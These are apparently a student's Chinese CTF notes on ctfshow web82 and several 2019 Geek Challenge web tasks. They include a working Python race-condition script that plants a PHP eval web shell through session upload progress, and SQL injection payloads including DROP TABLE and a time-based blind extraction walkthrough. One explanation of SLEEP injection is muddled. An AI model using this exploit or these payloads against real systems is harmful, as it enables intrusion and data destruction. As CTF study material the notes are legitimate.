目录
ctfshow web82
参考:ctfshow 文件包含_ctfshow文件包含_安好.791的博客-CSDN博客
import requests
import io
import threading
url='http://08d4a04e-19b3-4049-8a81-e9c6226eee2f.challenge.ctf.show:8080/'
#设置PHPSESSID的值
sessionid='ctfshow'
data={"1":"file_put_contents('/var/www/html/tao.php','<?php eval($_POST[2]);?>');"}
#为了进行条件竞争,需要一边写一边读
#进行上传文件时需要post传递名为PHP_SESSION_UPLOAD_PROGRESS值为一句话木马
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50) #生产一个50k的文件
while True:
response=session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},
cookies={'PHPSESSID':sessionid},
files={'file':('ctfshow.jpg',fileBytes)} #设置文件名字和内容
)
#读取session文件,这里文件为/tmp/sess_ctfshow
def read(session):
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data)
response2=session.get(url+'tao.php');
if response2.status_code==200:
print('++++++++++++++++++++')
else:
print(response2.status_code)
if __name__=='__main__':
#开启多线程进行竞争
evnet=threading.Event()
with requests.session() as session:
for i in range(20):
threading.Thread(target=write,args=(session,)).start()
for i in range(20):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
sql语句中1' or ' 1 '=' 1的意思
这个 SQL 语句可能是一条简单的注入攻击,意图是欺骗数据库执行者并让其执行恶意代码。
具体来说,这个 SQL 语句包含了一个条件 ' 1 '=' 1'
,它总是成立(因为 1
等于 1
),因此可以被用作查询语句中的一个条件。在其他情况下,攻击者还可能会尝试使用类似的语句进行注入攻击,例如:
' or 1=1 --
: 这个语句使用 SQL 注释符--
让后面的内容被视为注释,从而使查询始终返回 true 条件,并忽略后面的任何语句。'; DROP TABLE users; --
: 这个语句使用分号和 SQL 注释符将两个 SQL 语句连接起来,第一个语句可能是合法的查询语句,而第二个语句则是删除 users 表的语句,攻击者试图利用这个语句来删除数据库中的表。
为了避免 SQL 注入攻击,应该对用户输入进行严格的验证和过滤,并使用参数化查询或预处理语句来执行 SQL 命令。这样可以确保输入的数据不会被误解释为 SQL 命令的一部分,从而防止注入攻击。
时间盲注
在 SQL 语句中,没有 sleep()
函数可以直接使用。然而,在某些情况下,攻击者可能会利用数据库的一些漏洞或注入攻击技术,在 SQL 查询中注入类似 SLEEP(5)
的语句来实现延迟效果。
具体来说,攻击者可能会将类似 1; SELECT SLEEP(5); --
这样的 SQL 查询语句注入到目标应用程序中,以此来使查询执行停顿 5 秒钟。这是因为在这个查询语句中,SELECT SLEEP(5)
只是一段注释后面的无效代码,而前面的 1
条件总是为 true,从而让整条查询语句执行成功。
时间盲注:主要是利用页面响应时间延时来判断
相关函数
sleep(n):延迟n秒
benchmark(count,expr):可测试某些特定操作的执行速度。count指的是执行次数,expr表达式,表示重复计算表达式count次,评估执行表达式的效率。
benchmark函数只有在查询有结果时,才会执行产生延时。
expr表达式必须返回是单个值
if(condition,expr1,expr2):判断函数,如果condition为真,则expr1,否则执行expr2,使用该函数辅助盲注判断。
注入原理:
借助延迟时间函数和判断函数,判断猜测的表达式的值是否正确,正确则延时响应,否则不延时响应
相关步骤
id=1' and if(1=1,sleep(3),1)--+
说明if后被执行了,延时了3秒
说明if后没被执行
1' and if(length(database())=1,sleep(3),1)--+
数据库的长度从1开始试,最后发现数据库的长度为8
然后
1' and if(ascii(substr(database(),1,1)) = 115,sleep(3),1) --+
尝试利用ascii值得到数据库名称。
1' and if((select count(table_name) from information_schema.TABLES WHERE TABLE_SCHEMA='security') = 1,sleep(3),1)--+
一个一个的尝试得到表的个数。
length((select table_name from information_schema.tables where table_schema='security')) = 猜测的数据表名的长度值
ascii(substr((select table_name from information_schema.tables where table_schema= 'security' limit 1),1,1)) = 猜测的数据表名某一位字符的ASCII码值
(select count(*) from information_schema.columns where table_schema='security' and table_name = 'emails') = 猜测的数据表的字段个数值
length((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1)) = 猜测的数据表某个字段的长度值
ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1 offset 0),1,1)) = 猜测数据表名某个字段的ASCII码值
(select count(1) from security.emails) = 猜测的数据表的字段的个数值
这个 SQL 查询语句的作用是统计 security.emails
表中的记录数量,并返回结果。
具体来说,这个查询语句使用了 SELECT COUNT(1)
的语法。COUNT()
是一个聚合函数,它用于对指定的列进行统计。而在这个语句中,使用了 COUNT(1)
的形式,其中的 1
可以是任何非 NULL 值,因为 COUNT()
函数只会对非 NULL 的值进行计数。因此,在这个查询语句中,COUNT(1)
表示对表中所有的行进行计数。
需要注意的是,虽然在实际的查询过程中,使用 COUNT(*)
和 COUNT(1)
都可以得到相同的结果,但是在某些数据库系统中,两者的执行效率可能不同。一般来说,使用 COUNT(1)
更快一些,因为它只需要进行简单的整数计算,而不需要读取表中的数据。
length((select * from security.emails limit 1 offset 0)) = 猜测的数据表字段的长度值
ascii(substr((select security.emails limit 1 offset 0), 1, 1)) = 猜测的数据表字段值的某个字符的ASCII码值
以上是手工爆破,推荐使用脚本或工具。
[极客大挑战 2019]Secret File
先查看页面源代码,发现访问一下。
点一下,然后抓个包,发现另一个php文件。
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
根据源码,我们不能通过目录穿越,也不能出现tp,input,data等字符
base64解密
[极客大挑战 2019]LoveSQL
按sql注入的流程操作:
1.测试有多少字段
测试每个字段对应的内容
2.爆出数据库名
3.爆出数据库里的表
4.爆出表的列名
5.爆出所有数据
[极客大挑战 2019]Knife